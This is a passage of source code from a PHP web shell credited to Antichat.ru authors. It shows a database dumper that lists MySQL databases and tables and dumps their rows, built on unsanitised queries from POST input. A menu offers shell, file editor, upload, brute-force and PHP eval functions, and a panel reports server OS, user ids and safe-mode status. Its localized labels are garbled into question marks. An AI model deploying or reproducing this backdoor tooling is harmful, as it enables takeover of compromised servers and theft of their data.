  708. $res = mysql_list_dbs($serv);
  709. while ($str=mysql_fetch_row($res)){
  710. $content .= "<table><a href=\"#\" onclick=\"document.dump1.db.value='$str[0]';document.dump1.tbl.value='$str[0]';document.dump1.submit();\">$str[0]</a></table>";
  711. @$tc++;
  712. }
  713. $content .="<form name='dump1' action='$php_self' method='POST'>
  714. <input type='hidden' name='action' value='$action'>
  715. <input type=hidden name=ac value=sql>
  716. <input name=base value='1' type=hidden>
  717. <input name=db value='$str[0]' type=hidden>
  718. <input name=p value='sql' type=hidden>
  719. <input name=adress value='$adress' type=hidden>
  720. <input name=port value='$port' type=hidden>
  721. <input name=login value='$login' type=hidden>
  722. <input name=pass value='$pass' type=hidden>
  723. <input name=conn value='1' type=hidden>
  724. <input name=tbl value='$str[0]' type=hidden></form>";
  725. @$base = $_POST['base'];
  726. @$db = $_POST['db'];
  727. $content .="<br></br><font color=red>[????? ??????: $tc]</font>";
  728. if($base){
  729. $content .="<br></br><font color=red>???????: [$tbl]</font><br>";
  730. $result = mysql_list_tables($db);
  731. while($str=mysql_fetch_array($result)){
  732. $c = mysql_query ("SELECT COUNT(*) FROM $str[0]");
  733. $records = mysql_fetch_array($c);
  734. $content .="<table><font color=red>[$records[0]]</font><a href=\"#\" onclick=\"document.dump2.vn.value='$str[0]';document.dump2.tbl.value='$str[0]';document.dump2.submit();\">$str[0]</a></table>";
  735. mysql_free_result($c);
  736. }}
  737. $content .="<form name='dump2' action='$php_self' method='post'>
  738. <input type='hidden' name='action' value='$action'>
  739. <input type=hidden name=ac value=sql>
  740. <input name=inside value='1' type=hidden>
  741. <input name=base value='1' type=hidden>
  742. <input name=vn value='$str[0]' type=hidden>
  743. <input name=db value='$db' type=hidden>
  744. <input name=p value='sql' type=hidden>
  745. <input name=adress value='$adress' type=hidden>
  746. <input name=port value='$port' type=hidden>
  747. <input name=login value='$login' type=hidden>
  748. <input name=pass value='$pass' type=hidden>
  749. <input name=tbl value='$str[0]' type=hidden>
  750. <input name=conn value='1' type=hidden></form>";
  751. @$vn = $_POST['vn'];
  752. $content .= "<td valign=top>???? ??????: $db => $vn<br>";
  753. @$inside = $_POST['inside'];
  754. @$tbl = $_POST['tbl'];
  755. if($inside){
  756. $content .= "<table cellpadding=0 cellspacing=1><tr>";
  757. mysql_select_db($db) or die(mysql_error());
  758. $c = mysql_query ("SELECT COUNT(*) FROM $tbl");
  759. $cfa = mysql_fetch_array($c);
  760. mysql_free_result($c);
  761. $content .= "?????: $cfa[0]<form name='mysql_dump' action='$php_self' method='post'>
  762. <input type='hidden' name='action' value='$action'>
  763. <input type=hidden name=ac value=sql>
  764. ??: <input name=from size=3 value=0>
  765. ??: <input name=to size=3 value=$cfa[0]>
  766. <input type=submit name=show value='?????????'>
  767. <input type=hidden name=inside value=1>
  768. <input type=hidden name=vn value=$vn>
  769. <input type=hidden name=db value=$db>
  770. <input type=hidden name=login value=$login>
  771. <input type=hidden name=pass value=$pass>
  772. <input type=hidden name=adress value=$adress>
  773. <input type=hidden name=conn value=1>
  774. <input type=hidden name=base value=1>
  775. <input type=hidden name=p value=sql>
  776. <input type=hidden name=tbl value=$tbl>
  777. </form>";
  778. @$vn = $_POST['vn'];
  779. @$from = $_POST['from'];
  780. @$to = $_POST['to'];
  781. @$from = $_POST['from'];
  782. @$to = $_POST['to'];
  783. if(!isset($from)){
  784. $from=0;
  785. }
  786. if(!isset($to)){
  787. $to=50;
  788. }
  789. $query = "SELECT * FROM $vn LIMIT $from,$to";
  790. $result = mysql_query($query);
  791. for ($i=0;$i<mysql_num_fields($result);$i++){
  792. $name = mysql_field_name($result,$i);
  793. $content .="<td>&nbsp;</td><td bgcolor=#44474f><font color=red> $name </font></td> ";
  794. }
  795. while($mn = mysql_fetch_array($result, MYSQL_ASSOC)){
  796. $content .= "<tr>";
  797. foreach ($mn as $come=>$lee) {
  798. $nst_inside = htmlspecialchars($lee);
  799. $content .= "<td>&nbsp;</td><td bgcolor=#44474f>$nst_inside</td>\r\n";
  800. }
  801. }
  802. mysql_free_result($result);
  803. $content .= "</table>";
  804. }}}
  805. //end function
  806. ?><?=$header;?>
  807. <table width="100%" bgcolor="#31333b" align="right" border="0" cellspacing="0" cellpadding="0"><tr><td>
  808. <table><tr><td><a href="#" onclick="document.reqs.action.value='shell';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Shell |. </a></td>
  809. <td><a href="#" onclick="document.reqs.action.value='viewer';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Viewer |.</a></td>
  810. <td><a href="#" onclick="document.reqs.action.value='editor';document.reqs.file.value='<?=$file;?>';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Editor |.</a></td>
  811. <td><a href="#" onclick="document.reqs.action.value='upload';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Upload |.</a></td>
  812. <td><a href="#" onclick="document.reqs.action.value='brute';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Brute |.</a></td>
  813. <td><a href="#" onclick="document.reqs.action.value='mysql';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Mysql Dumper|.</a></td>
  814. <td><a href="#" onclick="document.reqs.action.value='phpeval';document.reqs.dir.value='<?=$dir;?>'; document.reqs.submit();">.| Php Eval |.</a></td>
  815. <td><a href="#" onclick="history.back();">.| <-back |.</a></td><td><a href="#" onclick="history.forward();">.| forward->|.</a></td></tr></table>
  816. </td></tr></table>
  817. <br /><form name='reqs' method='POST'><input name='action' type='hidden' value=''><input name='dir' type='hidden' value=''><input name='file' type='hidden' value=''></form>
  818. <table style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#363940 borderColorLight=#c0c0c0 border=1>
  819. <tr><td>Safe mode: <?php echo $safe_mode;?><br>Disable functions: <?php echo $disfunc;?><br>OS: <?php echo @php_uname();?><br>Server: <?php echo @getenv("SERVER_SOFTWARE")?>
  820. <br>Id: <?php echo "Uid=".getmyuid(). " Gid=".getmygid(); ?><br><? echo 'Server: '.@gethostbyname($_SERVER["HTTP_HOST"]).' You: '.$_SERVER['REMOTE_ADDR'].' XFF: '.@gethostbyaddr($HTTP_X_FORWARDED_FOR).' ';?>
  821. <br> Status: <?php echo @$stdata;?></td></tr></table>
  822. <table style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#363940 borderColorLight=#c0c0c0 border=1><tr><td width="100%" valign="top"><?=$content;?>
  823. <br></table>
  824. <TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#44474f BORDER=1 width=100% align=center bordercolor=#808080 bordercolorlight=black bordercolordark=#44474f><tr><td>
  825. <center><font color='#9acd32' face='Tahoma' size = 1><b>| Copyright by <a href="http://www.antichat.ru" title="antichat">Antichat.ru</a> | Made by Grinay | Modified by <s>Go0o$E</s><br/>Last update by <b>Isis</b> |</b></font></center></td></tr></table>
  826. <?=$footer;?>